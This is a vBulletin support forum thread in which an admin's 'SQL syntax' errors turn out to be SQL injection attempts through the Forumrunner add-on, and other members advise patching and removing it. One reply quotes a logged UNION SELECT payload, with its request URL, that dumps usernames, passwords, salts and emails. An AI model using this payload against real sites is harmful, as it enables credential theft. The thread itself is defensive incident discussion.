Updated MySQL from 5.1 to 5.5, Intermittent Error

[mscottralston]

Hi folks,

I'm occasionally getting the following error on my forums after my server updated MySQL from 5.1 to 5.5:

PHP Code:

Database error in vBulletin 4.2.0:

Invalid SQL:

                SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
                        thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
                FROM post AS post
                LEFT JOIN thread AS thread USING (threadid)
                WHERE postid IN (-1)union);

MySQL Error   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 5
Error Number  : 1064
Request Date  : Friday, November 18th 2016 @ 05:16:52 AM
Error Date    : Friday, November 18th 2016 @ 05:16:53 AM
Script        : [url]http://removed.com/http://removed.com/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union[/url]
Referrer      :
IP Address    : 185.2.32.2
Username      : Unregistered
Classname     : vB_Database
MySQL Version : 


I'd love some advice, please! Clearly something is no longer valid in the new version of SQL, but I'm not sure where in vBulletin to edit the syntax, nor what I should be editing it to (some kind of bracketing issue, I'm guessing).

[Dave]

That's not related to your MySQL version, in fact, it's someone attempting to hack your forum!
Forumrunner was vulnerable to SQL injection not too long ago. You should immediately delete the forumrunner folder if you don't use it or update it to the latest version if you do use it.

[Lynne]

You should also upgrade your site to at least 4.2.2 as 4.2.0 has security issues since it is no longer updates with security patches.

[mscottralston]

Wow!

Sorry, I'm new to vBulletin -- where is the forumrunner folder for me to delete, in a vBulletin installation?

--------------- Added [DATE]1479505610[/DATE] at [TIME]1479505610[/TIME] ---------------

Never mind -- that much I found, at least, uninstalled both through the backend and directly by deleting the folder from the server. Sorry to be a pest, but if anyone has suggestions for the best documentation on how to upgrade one's vbulletin installation to a newer patched version, I'll get to reading!

[TheLastSuperman]

Originally Posted by mscottralston

Hi folks,

I'm occasionally getting the following error on my forums after my server updated MySQL from 5.1 to 5.5:


I'd love some advice, please! Clearly something is no longer valid in the new version of SQL, but I'm not sure where in vBulletin to edit the syntax, nor what I should be editing it to (some kind of bracketing issue, I'm guessing).

Dave is correct, see below.

Originally Posted by Dave

That's not related to your MySQL version, in fact, it's someone attempting to hack your forum!
Forumrunner was vulnerable to SQL injection not too long ago. You should immediately delete the forumrunner folder if you don't use it or update it to the latest version if you do use it.

Another one they might try via forumrunner is also:

PHP Code:

Invalid SQL:

        SELECT post.postid, post.threadid, post.visible, post.title, post.userid,
            thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid
        FROM post AS post
        LEFT JOIN thread AS thread USING (threadid)
        WHERE postid IN (-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (blog_user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D)) and userid>0 and userid<5000))x),5,6,7,8,9,10-- -);

MySQL Error   : Unknown column 'username' in 'where clause'
Error Number  : 1054
Request Date  : Friday, November 18th 2016 @ 05:07:32 PM
Error Date    : Friday, November 18th 2016 @ 05:07:32 PM
Script        : http://www.removed.com/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1)union%20select%201,2,3,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(blog_user)where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,username,0x3a,password,0x3D,0x73,0x61,0x6C,0x74,0x3D,salt,0x3D,0x73,0x61,0x6C,0x74,0x3D,email,0x3D,0x65,0x6D,0x61,0x69,0x6C,0x3D,0x3C,0x62,0x72,0x3E,0x3E,0x3D62723D))%20and%20userid%3E0%20and%20userid%3C5000))x),5,6,7,8,9,10--%20-
Referrer      : 


So if ANYONE is seeing database error emails similar to either of the above posted examples, someone as Dave first mentioned is trying to hack your site and if you have quite a few of either database error email then they're actively and consistently trying to hack your site. As Dave also mentioned, if you're not using it, remove it entirely.

For upgrades mscott, simply follow the information in the manual, if going from 4.x to a higher 4.x it's fairly straight forward (just double-check the required PHP and MySQL versions beforehand).

[MarkFL]

We got a couple of those errors at MHB recently, and I wondered what was up with that since we have Forumrunner disabled. But after reading this thread, I uninstalled it and deleted the folder earlier today.

[Paul M]

This was noted in the patch announcement

http://www.vbulletin.com/forum/forum...or-vbulletin-4

Please note that you need to update regardless of whether you have Forumrunner enabled.

If you are patched (which you should be) then you dont need to delete anything.

[mscottralston]

Hi folks,

I've since updated my forums to 4.2.3, deleted and reinstalled plugins, and so forth, and things were quiet until this morning. I just want to check if the following rapid series of errors (I've gotten over a hundred in an hour) look like hacking to you. Lots of IPs and usernames are attached, though 'JDAntoine' is always the unknown column. Checking in on the username, this is an existing user who was banned some time ago, if that matters.

Database error in vBulletin 4.2.3:

Invalid SQL:

SELECT COUNT(*) AS threads

FROM thread AS thread


WHERE thread.forumid = 2
AND sticky = 0

AND visible = 1
AND thread.postuserid NOT IN (JDAntoine);

MySQL Error : Unknown column 'JDAntoine' in 'where clause'
Error Number : 1054
Request Date : Wednesday, December 21st 2016 @ 11:08:27 AM
Error Date : Wednesday, December 21st 2016 @ 11:08:27 AM
Script : http://REDACTED/forumdisplay.php?2-REDACTED-Discussion
Referrer :
IP Address : 63.239.33.129
Username : MysticTemplar
Classname : vB_Database
MySQL Version :


Database error in vBulletin 4.2.3:

Invalid SQL:

SELECT post.postid, post.attach
FROM post AS post

WHERE post.threadid = 265851
AND post.visible = 1
AND post.userid NOT IN (JDAntoine)

ORDER BY post.dateline
LIMIT 440, 40;

MySQL Error : Unknown column 'JDAntoine' in 'where clause'
Error Number : 1054
Request Date : Wednesday, December 21st 2016 @ 11:08:28 AM
Error Date : Wednesday, December 21st 2016 @ 11:08:28 AM

Thanks for your time, I really appreciate it!

[Dave]

That does not look like a hacking attempt. I guess it's caused by one of your plugins that hooks into forumdisplay_query_threadscount.

Disable all of your plugins one by one and see if at some point the error is gone, that way you can locate the plugin that is the cause of this.

[mscottralston]

Thanks Dave!